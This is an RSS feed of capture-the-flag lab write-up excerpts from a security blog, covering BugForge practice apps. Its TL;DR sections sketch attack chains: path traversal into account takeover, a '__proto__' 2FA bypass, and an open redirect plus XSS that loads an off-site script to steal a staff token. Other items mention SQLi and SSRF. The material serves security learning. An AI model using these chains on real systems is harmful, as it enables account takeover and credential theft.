<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Keep Learning &amp; Be Useful on johnmatrix</title>
		<link>https://johnmatrix.org/</link>
		<description>Recent content in Keep Learning &amp; Be Useful on johnmatrix</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Tue, 28 Jul 2026 15:23:43 +0100</lastBuildDate>
		
			<atom:link href="https://johnmatrix.org/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>Cheesy Does It</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Welcome to today&amp;rsquo;s tasty lab!&lt;/li&gt;&#xA;&lt;li&gt;I have ordered a lot of pizzas doing this !!!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_c7c48a27c36030c3.webp 1x, https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_86203075fa5ecf7a.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_986023d3e3077e5d.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;714&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;As usual we can play around the page and check functionality&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We can make a simple order and check how it works in Burp&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cheesy Does It - Broken Logic</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it-broken-logic/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it-broken-logic/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Today&amp;rsquo;s lab made me want to have more pizzas!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;With this rate, and the broken logic today, I will have enough &lt;code&gt;dough&lt;/code&gt; (you get it?) to invest in a private coach :)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cheesy Does It - XSS</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it-xss/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it-xss/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Third time visiting Cheesy Does It and today was a completely different beast&lt;/li&gt;&#xA;&lt;li&gt;I went down several rabbit holes before landing the flag - documenting those here because they&amp;rsquo;re quite instructive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;reconnaissance&#34;&gt;Reconnaissance&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SPA detected, 32 API endpoints extracted from the JS bundle&lt;/li&gt;&#xA;&lt;li&gt;Source map probe returned HTML (fake/disabled), so no raw source files available&lt;/li&gt;&#xA;&lt;li&gt;Beautified the main JS bundle and started reading&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;endpoints-discovered&#34;&gt;Endpoints Discovered&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register              - Create account&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login                 - Login (returns JWT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/verify-token          - Verify JWT, returns user object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile               - Update profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/menu/pizzas           - Menu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/payment/validate      - Card validation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/payment/process       - Process payment&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/orders                - Place order&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/orders/:id            - View order&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/tickets               - Create support ticket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/tickets               - List my tickets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/tickets/:id           - View ticket + replies&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/tickets/:id/replies   - Reply to ticket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/rewards               - Loyalty points&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/tickets         - Admin: list all tickets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/users           - Admin: list users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/coupons         - Admin: coupons&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/stats           - Admin: dashboard stats&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/flag            - Admin: flag endpoint&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;js-analysis---the-critical-finding&#34;&gt;JS Analysis - The Critical Finding&lt;/h3&gt;&#xA;&lt;p&gt;Searching the beautified JS for dangerous patterns:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Copy Pasta - Broken Access</title>
				<link>https://johnmatrix.org/bugforge/bf-copy-pasta-broken-access/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copy-pasta-broken-access/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Welcome to today&amp;rsquo;s challenge&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I have decided to fully run it through &lt;code&gt;Claude MCP&lt;/code&gt; within Burp.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Since I have recently fallen in love with how &lt;code&gt;Claude Code&lt;/code&gt; works and behaves as well as what it can offer compared to &lt;code&gt;Codex&lt;/code&gt;, I felt it would be fitting to test it out&lt;/p&gt;</description>
			</item>
			<item>
				<title>Copy Pasta - SQLi</title>
				<link>https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Full send today - &lt;code&gt;Claude&lt;/code&gt; is having a crack at this!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_49eeed037cfc2f18.webp 1x, https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_9e15b07b0abb1b5c.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_a3a68e094867df7d.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;220&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We are going for it.&lt;/li&gt;&#xA;&lt;li&gt;I directed &lt;code&gt;Claude&lt;/code&gt; to check for most common vulnerabilities first&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;sqli&#34;&gt;SQLi&lt;/h2&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_478f98e325d02e47.webp 1x, https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_e9af2858617e3ab0.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_6e556caad5820033.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;202&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>CopyPasta</title>
				<link>https://johnmatrix.org/bugforge/bf-copypasta/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copypasta/</guid>
				<description>&lt;p&gt;Today&amp;rsquo;s challenge: Broken Access Control&lt;/p&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_7119603dc03fbae5.webp 1x, https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_a8ebe41e7324d60.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_400a9ce00ac41f8f.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;1128&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We can register as usual&lt;/li&gt;&#xA;&lt;li&gt;As normal, we can click around the page to find more of the functionality&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_4c111095d7a862a4.webp 1x, https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_4cc9b3342fdc1883.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_89b26a6ee464c12e.png&#34; alt=&#34;Daily2&#34; width=&#34;1000&#34; height=&#34;352&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - CSPT to ATO &#43; 2FA Bypass</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-cspt/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-cspt/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;The &amp;ldquo;is CSPT real impact?&amp;rdquo; challenge - chain a Client-Side Path Traversal into account takeover, then walk through a prototype-pollution 2FA bypass to land on the flag&lt;/li&gt;&#xA;&lt;li&gt;Three primitives stitched together. None of them critical alone. Together they grant full ATO of a recruiter account&lt;/li&gt;&#xA;&lt;li&gt;This is the kind of chain that makes CSPT writeups in real bug bounty: GET-only-feeling primitive that quietly turns into a state-changing PUT once you find the right page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;support ticket -&amp;gt; bot visits /invite?...&amp;amp;inviteId=../../../account?email=ATTACKER&amp;amp;action=accept&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; bot&amp;#39;s browser fires PUT /api/account?email=ATTACKER (CSPT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; bot&amp;#39;s email becomes ATTACKER@labs-app.bugforge.io&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; trigger /api/account/recover for ATTACKER email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; read reset token from /api/emails (mail catcher)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; reset password&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; login with email-as-username&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; 2FA: send code:&amp;#34;__proto__&amp;#34; -&amp;gt; bypassed via prototype-chain walk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; JWT in response -&amp;gt; flag&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recon&#34;&gt;Recon&lt;/h2&gt;&#xA;&lt;p&gt;FurHire is a pet job board. Express SSR with inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks per page, JWTs in &lt;code&gt;localStorage&lt;/code&gt;, Socket.io for live notifications. Two roles: &lt;code&gt;user&lt;/code&gt; (job seeker) and &lt;code&gt;recruiter&lt;/code&gt; (posts jobs).&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - Open Redirect &#43; CSPT to XSS &#43; Token Replay</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-open-redirect-cspt/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-open-redirect-cspt/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;A second FurHire challenge, and a different chain from the &lt;a href=&#34;https://johnmatrix.org/bugforge/bf-furhire-cspt/&#34;&gt;CSPT-to-ATO writeup&lt;/a&gt;. This one is modelled on &lt;strong&gt;Grafana CVE-2025-4123&lt;/strong&gt; which is the &lt;code&gt;open redirect + client-side path traversal + XSS&lt;/code&gt; bug  and it ends with a twist most could miss.&lt;/li&gt;&#xA;&lt;li&gt;Four primitives stitched together: an open redirect behind a slash-blocking WAF, a client-side path traversal in a plugin loader, a script-injection sink that only executes JS from the right content-type, and a stolen staff token that reveals the flag in a &lt;strong&gt;response header&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;support ticket &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; moderator&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;s browser opens /apps?app=&amp;lt;CSPT payload&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; apps&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js fetches &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;api&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;apps&lt;span style=&#34;color:#ff79c6&#34;&gt;/../../../&lt;/span&gt;public&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;redirect?url&lt;span style=&#34;color:#ff79c6&#34;&gt;=/&lt;/span&gt;x&lt;span style=&#34;color:#ff79c6&#34;&gt;/..//&lt;/span&gt;cdn&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;jsdelivr&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#ff79c6&#34;&gt;/&amp;lt;&lt;/span&gt;repo&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;gt;/&lt;/span&gt;manifest&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;json&lt;span style=&#34;color:#ff79c6&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;23j&lt;/span&gt;unk&lt;span style=&#34;color:#ff79c6&#34;&gt;=/&lt;/span&gt;manifest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; browser normalizes the &lt;span style=&#34;color:#ff79c6&#34;&gt;../&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; hits the open redirect&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;public&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;redirect &lt;span style=&#34;color:#bd93f9&#34;&gt;302&lt;/span&gt;s to &lt;span style=&#34;color:#ff79c6&#34;&gt;//&lt;/span&gt;cdn&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;jsdelivr&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#ff79c6&#34;&gt;/...&lt;/span&gt; (protocol&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;relative, off&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;origin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; apps&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js reads manifest&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;module &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;lt;&lt;/span&gt;script src&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;jsdelivr module&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; module runs &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; the moderator&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;s browser WITH their staff token&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; module reads the token &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; profile, exfils via POST &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;api&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;register (same&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;origin, CSP&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;proof)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; attacker logs &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; as the exfil user, recovers the staff JWT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; replay the staff token against ANY endpoint &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; flag is &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; the X&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;Flag RESPONSE HEADER&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recon&#34;&gt;Recon&lt;/h2&gt;&#xA;&lt;p&gt;FurHire is a pet job board. Express SSR with inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks, JWTs in &lt;code&gt;localStorage&lt;/code&gt;, Socket.io for notifications, two roles (&lt;code&gt;user&lt;/code&gt;, &lt;code&gt;recruiter&lt;/code&gt;). The interesting surface is an &amp;ldquo;Insights Apps&amp;rdquo; feature and its &amp;ldquo;App Studio&amp;rdquo; - a plugin system that publishes a manifest + JS module to an internal content host.&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - SSRF</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-ssrf/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-ssrf/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Chains mass assignment (register as recruiter) with stored SSRF via &lt;code&gt;logo_url&lt;/code&gt; to bypass network-based access control on an internal reporting endpoint&lt;/li&gt;&#xA;&lt;li&gt;The trigger endpoint (&lt;code&gt;/api/company/:id/logo&lt;/code&gt;) is undocumented - discovery requires understanding how the app consumes the stored URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;&#xA;&lt;p&gt;Grab your URL from the lab page (it looks like &lt;code&gt;https://lab-1777969600705-poba1k.labs-app.bugforge.io/&lt;/code&gt;) and export it so the commands below work copy-paste:&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - XSS</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-xss/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-xss/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;This one was a proper grind - multiple WAF bypasses, dead ends, and a complete pivot before finding the right path&lt;/li&gt;&#xA;&lt;li&gt;The challenge had an &amp;ldquo;upgraded WAF&amp;rdquo; protecting against common XSS patterns, which turned it into a WAF bypass + delivery mechanism puzzle&lt;/li&gt;&#xA;&lt;li&gt;The key lesson: finding a stored XSS payload is only half the battle &amp;ndash; the delivery mechanism matters just as much&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tech Stack&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Express.js backend, EJS templating, Socket.io for real-time notifications&lt;/li&gt;&#xA;&lt;li&gt;JWT auth (HS256, no expiration, role in payload, HttpOnly cookie)&lt;/li&gt;&#xA;&lt;li&gt;Two roles: &lt;code&gt;user&lt;/code&gt; (job seeker) and &lt;code&gt;recruiter&lt;/code&gt; (posts jobs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Endpoint Discovery&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register          - No auth (username, email, full_name, password, role)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login             - No auth&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/logout            - Any&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/skills            - No auth&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/profile           - Auth required&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile           - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile/password  - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/company           - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs              - Any (?search=&amp;amp;location=&amp;amp;job_type=)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/jobs              - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs/:id          - Any&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/jobs/:id          - Recruiter (owner)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/jobs/:id/apply    - User only (cover_letter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs/:id/applicants - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/my-applications   - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/my-jobs           - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/saved-jobs        - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/applications/:id/status - Recruiter (status)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/flag              - Admin only (403 for user/recruiter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 